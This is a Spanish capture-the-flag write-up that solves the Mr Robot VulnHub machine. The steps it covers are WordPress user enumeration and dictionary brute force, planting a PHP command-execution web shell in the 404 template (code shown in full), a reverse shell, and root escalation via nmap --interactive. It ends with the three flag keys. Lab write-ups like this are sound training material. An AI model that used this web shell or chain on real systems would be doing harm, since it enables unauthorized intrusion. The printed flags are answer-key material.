Solucion reto mr robot
-
Upload
roberto-garcia-amoriz -
Category
Technology
-
view
63 -
download
4
Transcript of Solucion reto mr robot
Gracias a mi compañero David (@DaveLanis) he conocido una máquina virtual de la serie MR
Robot a modo de reto, en la que tienes que encontrar tres keys. Según puedes ver aquí, el reto
dicen que es para nivel novato-intermedio, pero si estás dispuesto a pasar un rato investigando,
te la recomiendo. Siempre se aprende algo.
Antes de nada decir, que no soy muy asiduo a este tipo de retos, así que lo mismo la resolución
que yo os dejo no es ni la mejor, ni la más rápida.
Dicho esto, lo primero es descargar la máquina que está en formato OVA y que puedes usar de
manera gratuita con, por ejemplo, VirtualBox. Una vez que tienes la máquina arrancada, lo
primero que vemos es esto.
Como no disponemos del login de la máquina, lo primero que pensé es tirarle un nmap para ver
que tenía levantado la máquina. Cierto es que se me pasó por la cabeza saltarme el grub, pero
pensé que quizá le quitaba la gracia xD.
Como vemos en la imagen, el puerto 80 y el 443 están abiertos y el 22 está cerrado.
Lo siguiente fue abrir un navegador y poner la IP de la máquina. Al abrir parece que carga un
sistema operativo y te da unas opciones para introducir.
Tengo que decir que me encanta el texto que pone al abrir la web xD.
Después de revisar una por una cada opción y ver que hay en la parte del código (y de no
encontrar nada llamativo) decidí abrir Burp y ver que había en las peticiones y que podía
encontrar. Un poco de spider y me topo con el “robots.txt”.
En el aparecen dos archivos como podemos ver en la imagen anterior. Vamos al navegador y
ponemos la IP de la máquina más los ficheros encontrados. En uno nos da un hash y en el otro
un diccionario.
En un principio pensé que el diccionario era para crackear el hash, pero después de tirarle John
the ripper y hashcat como hice en otra entrada y ver que no sacaba nada, pensé que la primera
key era simplemente eso una clave 073403c8a58a1f80d943455fb30724b9.
Seguimos avanzando y me da por mirar de nuevo el código de una de las páginas y me doy
cuenta de que corre un WordPress.
Sabiendo que hay un WordPress, voy a probar que tiene con WPScan.
Pues a priori nada que no supiera ya…
Vamos a la parte del login de WordPress a ver si nos da una pista…
Y efectivamente tenemos algo, podemos enumerar usuarios. Ya tenemos que el usuario elliot
existe. Me preguntaba David que porqué el usuario Elliot y la verdad es que me salió solo, pensé
que es el prota de la serie y simplemente lo puse por poner.
Volvemos a WPScan para probar un ataque por diccionario con la lista que hemos obtenido y el
usuario elliot.
Pues parece que esta herramienta funciona bien jeje, un 10 para estos chicos!!
Ya tenemos acceso a la parte privada de WordPress.
Como tengo permisos de administrador me voy a pegar un buen vistazo a todo lo que hay
dentro.
Además del usuario de Elliot, existe otro llamado mich05654 que es de Krista Gordon. Siendo
sincero, he tenido que buscar quien era porque con los nombres en las series en inglés tengo un
serio problema, y es, que no me acuerdo de los nombres de los personajes xD. Resulta que es la
psicóloga de Elliot (algo bastante llamativo).
Sigo revisando todo y me encuentro en la parte de plugins con uno que me llama la atención
“hello Dolly” no me suena absolutamente de nada, no es que sea un experto en WordPress ni
mucho menos, pero sí que me suenan los nombre de los plugins más conocidos. De hecho si
vemos la siguiente imagen ellos mismos dicen que no es un plugin al uso…
SI busco en google por el nombre del citado plugin veo esto.
Veamos el código a ver si hay algo.
Pues parece que lo único que hace este plugin es mostrar una frase aleatoria de la canción de
Louis Amstrong, así que me da que por ahí no van los tiros.
He de reconocer que pensaba que habría alguna pista en ese plugin y la verdad que me quedo
bastante atascado en este punto, de hecho demasiado. Pierdo más de dos horas revisando todo
lo que hay en el WordPress sin llegar a nada (recordemos que no soy asiduo a estos juegos jeje).
No sé por dónde seguir, así que me vuelvo loco mirando de nuevo el frontal, el código de todas
las páginas e incluso me dar por ver si hay algo de steno en las imágenes, y nada. La verdad que
cuando no estás acostumbrado a este tipo de juegos es bastante frustrante quedarte atascado
y no poder avanzar.
Después de mucho darle vueltas y de hablar con David, se me ocurrió (por una vez he pensado)
intentar modificar el contenido de uno de los “plugins” por un simple “phpinfo” y ver si lo podía
llamar. Al segundo intento funcionó.
La idea (ahora) era sencilla. Modificar la página de error para que en lugar de cargar el contenido
por defecto me muestre el “phpinfo”.
Y así al poner cualquier cosa en el navegador no esperada, en lugar de cargar la página de error
404.php, nos carga el “phpinfo”.
Ahora, sabiendo que funciona, cambiamos ese “phpinfo” por una minishell.
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Y vemos quienes somos, listamos ficheros etc.
Como esto es una pequeña webshell, no nos da para mucho, necesitamos algo que nos aporte
algo más. Mis compañero Amine (gracias por tu tiempo) me estuvo hablando de Regeorg y la
verdad que es bastante potente, pero para este reto creo que era demasiado, así que estuve
buscando shells reversas en PHP y me topé con la gente de pentestmonkey (recomiendo
bastante su blog) donde encontré varios recursos que me han venido bien para terminar esta
prueba.
Total, que subo la Shell, modifico los parámetros de IP y puerto y me lio con ello. Para este
ejemplo yo me abrí el puerto 2222 contra la IP de la máquina desde la que quiero obtener
acceso, es decir, subo la webshell al WordPress y abro un netcat a la escucha en la Kali.
Perfecto, ya tengo conexión en la máquina. Vamos a ver algunas cosas…
Como vemos en la imagen anterior, tengo dos ficheros pero solo puedo leer uno de ellos, para
el otro necesito ser el usuario robot. El hash del segundo fichero parece ser la clave para el
usuario root, podría intentar crackear el hash como hice en la entrada con los hash MD5, pero
ya había perdido mucho tiempo, así que me fui a lo fácil, poner en google el hash y esperar la
respuesta jeje.
Rsulta que la contraseña del usuario robot es el abecedario xD. Ya puedo acceder con el usuario
haciendo sudo – y listo ¿no?
Pues se ve que no, otra complicación más y a buscar info. Mirando de nuevo en google por el
nombre del error me encuentro que usando Python tengo la solución.
Ya tengo acceso, ahora sí!
Con esto ya tenemos el segundo flag, 822c73956184f694993bede3eb39f959. Vamos a por el
tercero. Para esta necesitamos ser root, es decir, hay que elevar privilegios. Después de marear
la perdiz y buscar 654837 cosas sobre como elevar privilegios, me acordé que hace poco en una
máquina lo pude hacer a través de Nmap. Así que lo primero es comprobar que está instalado
nmap.
Pues va a ser que sí, esto está hecho!!
En 3 pasos somos root. Nmap tiene una opción que es --interactive con la que puedes abrirte
una Shell como root y, obviamente todo lo que hagas se ejecuta como root.
Ya tenemos el tercer y último flag. Creo que ha sido el más fácil y rápido sin duda.
Conclusiones:
Desde mi punto de vista lo más difícil ha sido empezar y pensar como subir una webshell.
Agradecimientos:
A mis compañeros David, Amine y Hector.
A la persona que ha desarrollado este wargame por el curro que lleva.
Recursos:
http://pentestmonkey.net/
https://www.vulnhub.com/entry/mr-robot-1,151/
Por último, las key que se piden en el juego:
1ª: 073403c8a58a1f80d943455fb30724b9
2ª: 822c73956184f694993bede3eb39f959
3ª: 04787ddef27c3dee1ee161b21670b4e4
*Plus: David Alanís (@DaveLanis) ha encontrado la pass de Elliot sin tener que hacer fuerza
bruta ni nada xD:
Si accedes a http://IP_delamaquina/license.txt y bajas con el cursor te la encuentras en
base64, la decodeas y listo.
Writeup escrito por Roberto García Amoriz (@1GbDeInfo) visita mi web en http://www.1gbdeinfo.com